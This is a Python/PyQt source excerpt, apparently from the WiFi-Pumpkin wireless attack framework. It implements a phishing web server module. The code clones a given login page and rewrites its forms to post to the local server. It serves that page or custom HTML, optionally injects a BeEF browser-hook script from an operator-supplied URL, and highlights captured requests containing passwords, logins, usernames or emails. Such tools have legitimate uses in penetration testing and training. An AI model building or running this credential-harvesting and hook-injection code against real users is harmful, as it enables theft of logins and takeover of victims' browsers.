        self.StatusServer(False)
        self.statusBar.addWidget(self.statusLabel)
        # left page
        self.frmHtml = QtGui.QFormLayout()
        self.frmOutput = QtGui.QFormLayout()

        # right page
        self.frmSettings = QtGui.QFormLayout()
        self.frmCheckBox = QtGui.QFormLayout()
        self.frmClone = QtGui.QFormLayout()
        self.frmButtons = QtGui.QFormLayout()
        self.frmright = QtGui.QFormLayout()
        self.frmleft = QtGui.QFormLayout()

        #group checkbox
        self.check_custom = QtGui.QRadioButton('index.html  ')
        self.check_server = QtGui.QRadioButton('Set Directory')
        self.check_beef = QtGui.QCheckBox('Enable Beef')
        self.check_clone = QtGui.QRadioButton('Website clone')
        self.check_custom.setChecked(True)

        # group clone site
        self.cloneLineEdit = QtGui.QLineEdit(self)
        self.cloneLineEdit.setText('example.com/login')
        self.cloneLineEdit.setEnabled(False)

        # group settings
        self.EditBeef = QtGui.QLineEdit(self)
        self.EditDirectory = QtGui.QLineEdit('/var/www')
        self.txt_redirect = QtGui.QLineEdit(self)
        self.BoxPort = QtGui.QSpinBox(self)
        self.EditBeef.setEnabled(False)
        self.EditDirectory.setEnabled(False)
        self.BoxPort.setMaximum(65535)
        self.BoxPort.setValue(80)

        # group left
        self.Group_Html = QtGui.QGroupBox(self)
        self.Group_List = QtGui.QGroupBox(self)
        self.Group_Html.setTitle('index.html:')
        self.Group_List.setTitle('Requests:')

        self.txt_html = QtGui.QTextEdit(self)
        self.ListOutputWid = QtGui.QListWidget(self)
        self.txt_html.setFixedWidth(450)
        self.frmHtml.addRow(self.txt_html)
        self.frmOutput.addRow(self.ListOutputWid)

        # button stop,start
        self.btn_start_template = QtGui.QPushButton('Start Server')
        self.btn_stop_template = QtGui.QPushButton('Stop Server')
        self.btn_start_template.setIcon(QtGui.QIcon('icons/start.png'))
        self.btn_stop_template.setIcon(QtGui.QIcon('icons/Stop.png'))
        self.btn_stop_template.setEnabled(False)
        self.btn_start_template.setFixedWidth(110)
        self.btn_stop_template.setFixedWidth(110)
        self.btn_start_template.clicked.connect(self.start_server)

        # group create
        self.GroupSettings = QtGui.QGroupBox(self)
        self.GroupCheckBox = QtGui.QGroupBox(self)
        self.GroupCloneSite = QtGui.QGroupBox(self)
        self.GroupSettings.setTitle('settings:')
        self.GroupCheckBox.setTitle('Options:')
        self.GroupCloneSite.setTitle('clone:')

        # left layout
        self.txt_html.setPlainText(
            '<html>\n<head>\n<title>WiFi-Pumpkin Phishing </title>'
            '\n</head>\n<body>\n'
            '\n<h3 align=\'center\'>WiFi-Pumpkin Framework</h3>\n'
            '\n<p align=\'center\'>this is demo Attack Redirect.</p>\n'
            '\n</body>\n</html>')

        # connect checkbox
        self.check_beef.clicked.connect(self.check_options)
        self.check_custom.clicked.connect(self.check_options)
        self.check_server.clicked.connect(self.check_options)
        self.check_clone.clicked.connect(self.check_options)

        # connect buttons
        self.btn_stop_template.clicked.connect(self.killThread)

        # checkboxs
        self.frmCheckBox.addRow(self.check_custom, self.check_server)
        self.frmCheckBox.addRow(self.check_beef, self.check_clone)
        self.frmCheckBox.addRow(self.GroupSettings)

        # settings
        self.frmSettings.addRow('IP Address:', self.txt_redirect)
        self.frmSettings.addRow('Port:', self.BoxPort)
        self.frmSettings.addRow("Beef Hook URL:", self.EditBeef)
        self.frmSettings.addRow("SetEnv PATH  :", self.EditDirectory)

        # buttons
        self.frmButtons.addRow(self.btn_start_template, self.btn_stop_template)

        # clone
        self.frmClone.addRow(self.cloneLineEdit)

        # page right
        self.GroupCheckBox.setLayout(self.frmCheckBox)
        self.GroupSettings.setLayout(self.frmSettings)
        self.GroupCloneSite.setLayout(self.frmClone)
        self.frmright.addRow(self.GroupCheckBox)
        self.frmright.addRow(self.GroupCloneSite)
        self.frmright.addRow(self.GroupSettings)
        self.frmright.addRow(self.frmButtons)

        # page left
        self.Group_Html.setLayout(self.frmHtml)
        self.Group_List.setLayout(self.frmOutput)
        self.frmleft.addRow(self.Group_Html)
        self.frmleft.addRow(self.Group_List)

        layout = QtGui.QHBoxLayout()
        layout.addLayout(self.frmleft)
        layout.addLayout(self.frmright)

        self.Main.addLayout(layout)
        self.Main.addWidget(self.statusBar)
        self.setLayout(self.Main)

    @QtCore.pyqtSlot(QtCore.QModelIndex)
    def check_options(self, index):
        if self.check_custom.isChecked():
            self.txt_html.setEnabled(True)
        else:
            self.txt_html.setEnabled(False)
        if self.check_clone.isChecked():
            self.cloneLineEdit.setEnabled(True)
        else:
            self.cloneLineEdit.setEnabled(False)
        if self.check_beef.isChecked():
            self.EditBeef.setEnabled(True)
        else:
            self.EditBeef.setEnabled(False)
        if self.check_server.isChecked():
            self.EditDirectory.setEnabled(True)
        else:
            self.EditDirectory.setEnabled(False)

    def start_server(self):
        if len(str(self.txt_redirect.text())) == 0:
            return QtGui.QMessageBox.warning(self, 'localhost',
                                             'Ip Address not found.')
        if self.check_server.isChecked():
            if len(popen('which php').read().split('\n')[0]) == 0:
                return QtGui.QMessageBox.warning(
                    self, 'Requirement Software',
                    'php-5 is not installed \n\ntry: install sudo apt-get install php5'
                )
        if self.check_clone.isChecked():
            if len(self.cloneLineEdit.text()) == 0:
                return QtGui.QMessageBox.warning(self, 'Clone',
                                                 'input clone empty')
            site = str(self.cloneLineEdit.text())
            if not str(self.cloneLineEdit.text()).startswith('http://'):
                site = 'http://' + str(self.cloneLineEdit.text())
            if self.checkRequests(site):
                self.ServerHTTPLoad = ServerThreadHTTP(
                    str(self.txt_redirect.text()),
                    self.BoxPort.value(),
                    redirect=str(self.cloneLineEdit.text()),
                    directory=C.TEMPLATE_CLONE,
                    session=self.session)
                self.ThreadTemplates['Server'].append(self.ServerHTTPLoad)
                self.ServerHTTPLoad.requestHTTP.connect(self.ResponseSignal)
                self.btn_start_template.setEnabled(False)
                self.btn_stop_template.setEnabled(True)
                self.ServerHTTPLoad.setObjectName('THread::: HTTP Clone')
                self.ServerHTTPLoad.start()
                self.ServerHTTPLoad.sleep(5)
                a = urlopen('http://{}:{}'.format(
                    str(self.txt_redirect.text()), self.BoxPort.value()))
                if a.getcode() == 200:
                    self.StatusServer(True)
                    self.emit(QtCore.SIGNAL('Activated( QString )'), 'started')

        elif self.check_server.isChecked():
            self.DirectoryPhishing(Path=str(self.EditDirectory.text()))
            self.emit(QtCore.SIGNAL('Activated( QString )'), 'started')

        elif self.check_custom.isChecked():
            self.html = BeautifulSoup(str(self.txt_html.toPlainText()), 'lxml')
            self.CheckHookInjection(self.html, C.TEMPLATE_PH)
            self.proc_Web_server = ProcessThread(
                {
                    'python': [
                        '-m', 'SimpleHTTPServer', '{}'.format(
                            self.BoxPort.value())
                    ]
                }, C.TEMP_CUSTOM)
            self.proc_Web_server._ProcssOutput.connect(
                self.get_output_webserver)
            self.proc_Web_server.start()
            self.ThreadTemplates['Server'].append(self.proc_Web_server)
            self.emit(QtCore.SIGNAL('Activated( QString )'), 'started')
            self.btn_start_template.setEnabled(False)
            self.btn_stop_template.setEnabled(True)
            self.StatusServer(True)

            # old thread start web server
            # self.ServerHTTPLoad = ServerThreadHTTP(str(self.txt_redirect.text()),
            # self.BoxPort.value(),redirect=str(self.cloneLineEdit.text()),
            # directory=C.TEMPLATE_PH,session=self.session)
            # self.ThreadTemplates['Server'].append(self.ServerHTTPLoad)
            # self.ServerHTTPLoad.requestHTTP.connect(self.ResponseSignal)
            # self.btn_start_template.setEnabled(False)
            # self.btn_stop_template.setEnabled(True)
            # self.ServerHTTPLoad.setObjectName('THread::: HTTP Clone')
            # self.ServerHTTPLoad.start()
            # self.StatusServer(True)
            # self.emit(QtCore.SIGNAL('Activated( QString )'),'started')

    def get_output_webserver(self, data):
        print data

    def DirectoryPhishing(self, Path=None):
        popen('service apache2 stop')
        self.Tphishing = ThreadPhishingServer([
            'php', '-S', '{}:{}'.format(str(self.txt_redirect.text()),
                                        str(self.BoxPort.value())), '-t', Path
        ])
        self.Tphishing.send.connect(self.ResponseSignal)
        self.Tphishing.setObjectName('Server PHP::' + Path)
        self.ThreadTemplates['Server'].append(self.Tphishing)
        self.Tphishing.start()
        while True:
            if self.Tphishing.process != None:
                break
        self.btn_start_template.setEnabled(False)
        self.btn_stop_template.setEnabled(True)
        self.StatusServer(True)

    def ResponseSignal(self, resp):
        form_ = ['pass', 'login', 'user', 'email']
        try:
            newItem = QtGui.QListWidgetItem(self.ListOutputWid)
            newItem.setText(resp)
            for tag in form_:
                if tag in str(resp).lower():
                    newItem.setTextColor(QtCore.Qt.green)
                    break
            self.ListOutputWid.addItem(newItem)
            self.ListOutputWid.scrollToBottom()
        except Exception:
            pass

    def checkRequests(self, siteName):
        try:
            html = urlopen(siteName).read()
            request = BeautifulSoup(html, 'lxml')
            try:
                for tag in request.find_all('form'):
                    tag['method'], tag['action'] = 'post', ''
            except Exception:
                pass
            self.CheckHookInjection(request, C.TEMPLATE_CLONE)
        except URLError:
            QtGui.QMessageBox.warning(self, 'Request HTTP',
                                      'It seems like the server is down.')
            return False
        return True

    def cloneWebsite(self):
        if len(self.cloneLineEdit.text()) == 0:
            return QtGui.QMessageBox.warning(self, 'Clone website',
                                             'input clone empty')
        site = str(self.cloneLineEdit.text())
        if not str(self.cloneLineEdit.text()).startswith('http://'):
            site = 'http://' + str(self.cloneLineEdit.text())
        if self.checkRequests(site):
            self.btn_Clone_page.setText('Cloned')
            return self.btn_Clone_page.setEnabled(False)

    def killThread(self):
        if hasattr(self, 'proc_Web_server'): self.proc_Web_server.stop()
        if self.ThreadTemplates['Server'] == []: return
        for thread in self.ThreadTemplates['Server']:
            thread.stop()
        self.ListOutputWid.clear()
        self.btn_start_template.setEnabled(True)
        self.btn_stop_template.setEnabled(False)
        self.StatusServer(False)

    def CheckHookInjection(self, rasp, Save):
        if self.check_beef.isChecked() and len(self.EditBeef.text()) != 0:
            self.hook = '<script type="text/javascript" src="%s"></script>' % str(
                self.EditBeef.text())
            html_final = Beef_Hook_url(rasp, self.hook)
            if html_final != None: rasp = html_final
            else:
                QtGui.QMessageBox.information(
                    self, 'Error Hook Inject Page',
                    'Hook Url not injected,not found tag "<body>"')
        with open(Save, 'w') as f:
            f.write(str(rasp))
            f.close()
        return rasp